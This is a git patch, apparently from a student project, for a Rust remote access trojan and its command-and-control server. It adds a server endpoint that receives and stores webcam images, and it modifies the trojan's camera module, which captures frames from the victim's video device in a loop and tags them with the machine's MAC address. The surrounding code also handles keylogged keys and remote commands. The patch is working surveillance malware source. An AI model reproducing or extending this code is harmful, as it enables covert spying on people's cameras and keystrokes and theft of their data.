From faaa08e1b367baf393a9495e81a6550a2e0030da Mon Sep 17 00:00:00 2001
From: "elio.marconi" <elio.marconi@etu.hesge.ch>
Date: Wed, 25 Oct 2023 20:11:32 +0200
Subject: [PATCH] Ajout dossier pour images

---
 Cargo.lock        |  1 +
 Rocket.toml       |  4 +++-
 c2/Cargo.toml     |  1 +
 c2/src/backup.rs  | 15 ++++++++++++---
 c2/src/db.rs      |  2 +-
 c2/src/main.rs    |  5 ++---
 c2/src/routes.rs  | 27 ++++++++++++++++++++++++---
 rat/src/camera.rs | 15 ++++-----------
 8 files changed, 48 insertions(+), 22 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 8f8d47c..6cc5213 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -201,6 +201,7 @@ checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223"
 name = "c2"
 version = "0.1.0"
 dependencies = [
+ "chrono",
  "rocket",
  "rocket_dyn_templates",
  "rocket_sync_db_pools",
diff --git a/Rocket.toml b/Rocket.toml
index 139597f..5577e07 100644
--- a/Rocket.toml
+++ b/Rocket.toml
@@ -1,2 +1,4 @@
-
+## defaults for _all_ profiles
+[default]
+limits = { form = "64 kB", json = "12 MiB" }
 
diff --git a/c2/Cargo.toml b/c2/Cargo.toml
index 6c35261..678c2aa 100644
--- a/c2/Cargo.toml
+++ b/c2/Cargo.toml
@@ -10,6 +10,7 @@ sharedlib = {path= "../sharedlib"}
 rocket = { version = "=0.5.0-rc.3", features = ["json"] }
 serde = { version = "1.0", features = ["derive"] }
 tera = "1.0"
+chrono = "0.4.31"
 
 [dependencies.rocket_sync_db_pools]
 version = "=0.1.0-rc.3"
diff --git a/c2/src/backup.rs b/c2/src/backup.rs
index 890e7fa..8c95a4e 100644
--- a/c2/src/backup.rs
+++ b/c2/src/backup.rs
@@ -3,13 +3,12 @@ use sharedlib::config::Config;
 use std::{
     fs,
     fs::OpenOptions,
+    io,
     io::Write,
     path::Path,
     env,
-    collections::HashMap
 };
 
-
 pub const BASEDIR:&str = "./data";
 pub const MAXFILESIZE:usize = 100;
 pub struct DataFile {
@@ -68,6 +67,13 @@ impl DataFile  {
         Ok(())
     }
 
+    pub fn save_image(&self, data:Vec<u8>) -> Result<(), io::Error> {
+        let filename = chrono::Local::now().format("%Y%m%d-%Hh%Mm%Ss.jpeg").to_string();
+        let mut file = std::fs::File::create(get_full_path_image(self) + &filename)?;
+        file.write_all(&data[..])?;
+        Ok(())
+    }
+
     fn check_data_size(&mut self){
         if self.size > MAXFILESIZE {
             self.nb_files += 1;
@@ -80,7 +86,10 @@ fn get_full_path(file : &DataFile) -> String{
     String::from(&file.path) +"/"+ file.nb_files.to_string().as_str()
 }
 
-//to do
+fn get_full_path_image(file : &DataFile) -> String{
+    String::from(&file.path) +"/".to_string().as_str()
+}
+
 fn get_file_nb(dir:&str) ->  std::io::Result<u32>   {
     let res = Path::new(&dir).read_dir()?;
     Ok(res.into_iter().count() as u32)
diff --git a/c2/src/db.rs b/c2/src/db.rs
index a9b2cde..144564b 100644
--- a/c2/src/db.rs
+++ b/c2/src/db.rs
@@ -98,7 +98,7 @@ pub async fn add_keys(db_conn:&DbConnection, keys: KeysData, id: i32) -> Result<
 
     let res = db_conn.run(move |conn| {
         diesel::insert_into(keys::table).values(new_key).get_result::<Keys>(conn)
-    }).await.map_err(|e|
+    }).await.map_err(|e: Error|
         status::Custom(Status::InternalServerError, DbError::DieselError(e).to_string()))?;
 
     Ok(res)
diff --git a/c2/src/main.rs b/c2/src/main.rs
index 239bf01..710ce54 100644
--- a/c2/src/main.rs
+++ b/c2/src/main.rs
@@ -1,10 +1,9 @@
 use rocket::Request;
 use sharedlib::config::load_dotenv;
 use std::sync::Mutex;
-use tera::Tera;
 use c2::backup::{DataFile, DataType};
 use c2::server::DbConnection;
-use c2::routes::{home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands, post_command, get_new_commands};
+use c2::routes::{home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands, post_command, get_new_commands, post_image};
 use rocket_dyn_templates::Template;
 use rocket::fs::FileServer;
 
@@ -34,7 +33,7 @@ fn rocket() -> _ {
     // load rocket
     let build = rocket::build().attach(DbConnection::fairing()).attach(Template::fairing()); 
     println!("Connecting to database ...");
-    build.mount("/", routes![home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands, post_command, get_new_commands])
+    build.mount("/", routes![home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands, post_command, get_new_commands, post_image])
     .mount("/static", FileServer::from("c2/templates/static"))
     .register("/", catchers![not_found, internal_error])
     .manage(keys_file)
diff --git a/c2/src/routes.rs b/c2/src/routes.rs
index 13fcabe..5182484 100644
--- a/c2/src/routes.rs
+++ b/c2/src/routes.rs
@@ -1,10 +1,10 @@
 use rocket::form::Form;
-use rocket::{get, post};
+use rocket::{get, post, Data};
 use rocket::{State, http::Status, serde::json::Json, response::status};
 use std::sync::Mutex;
-use crate::backup::DataFile;
+use crate::backup::{DataFile, DataType};
 use crate::server::{DbConnection ,  ApiClient, CommandForm, decrypt_bytes};
-use sharedlib::models::{ApiId, Keys, KeysData, SysInfoData, Command, CommandModel, EncryptedResult};
+use sharedlib::models::{ApiId, Keys, KeysData, SysInfoData, Command, CommandModel, EncryptedResult, ImageData};
 use rocket_dyn_templates::{Template, context};
 use crate::db::*;
 
@@ -41,6 +41,27 @@ pub async fn post_key(keys_data: Json<KeysData>, client:ApiClient, data:&State<M
     }
 }
 
+
+#[post("/images", data = "<image_data>")]
+pub async fn post_image(image_data: Json<ImageData>, client:ApiClient,  db_conn:DbConnection) -> Result<Json<String>,status::Custom<String>> { 
+    
+    
+    // save image -> data/images avec backup.rs
+    if let Some(object) = DataFile::new(DataType::Image) {
+        match object.save_image(image_data.data.clone()) {
+            Ok(_) => Ok(Json(String::from("Ok"))),  
+            Err(e) => Err(status::Custom(Status::InternalServerError, e.to_string())) 
+        }   
+    } else {
+        Err(status::Custom(Status::InternalServerError, "Couldn't create datafile.".to_string()))
+    }
+    // add user to db if not present
+    //let addr = image_data.mac_address.clone();
+    //let client_token = add_user(&db_conn, addr).await?;
+    
+    // add entry to database -> le chemin de l'image + l'id du client + le timestamp
+}
+
 #[get("/keys")]
 pub async fn get_json_keys(db_conn:DbConnection) -> Result<Json<Vec<Keys>>, status::Custom<String>>{
     get_all_keys(&db_conn).await.map(|data| Json(data))
diff --git a/rat/src/camera.rs b/rat/src/camera.rs
index eb5b6bd..8f68707 100644
--- a/rat/src/camera.rs
+++ b/rat/src/camera.rs
@@ -24,17 +24,17 @@ use crate::errors::ClientError;
 
 pub async fn sniff_image() -> Result<(), ClientError> {
     let device_path = "/dev/video0";
-    println!("Using device: {}\n", device_path);
+    //println!("Using device: {}\n", device_path);
 
     let mut dev = Device::with_path(device_path)?;
 
     let format = dev.format()?;
-    println!("Active format:\n{}", format);
+    //println!("Active format:\n{}", format);
 
     let mac_address = get_mac_address()
         .map_err(|_e| io::Error::from_raw_os_error(1))?;
     let params = dev.params()?;
-    println!("Active device parameters:\n{}", params);
+    //println!("Active device parameters:\n{}", params);
 
 
     // Create the stream, which will internally 'allocate' (as in map) the
@@ -48,18 +48,11 @@ pub async fn sniff_image() -> Result<(), ClientError> {
     loop {
 
         let local_time = chrono::Local::now().format("%Y%m%d-%Hh%Mm%Ss").to_string();
-        //println!("{}", local_time);
-        
-        /*
-        let directory = String::from("./");
-        let filename = directory + local_time.as_str() + ".jpeg"; 
-        let mut file = std::fs::File::create(filename)?; 
-        */
 
         // Captures the buffer
         let (buf, meta) = CaptureStream::next(&mut stream)?;
         println!(
-            "Buffer size: {}, seq: {}, timestamp: {}",
+            "Capture done. Buffer size: {}, seq: {}, timestamp: {}",
             buf.len(),  
             meta.sequence,
             meta.timestamp
-- 
GitLab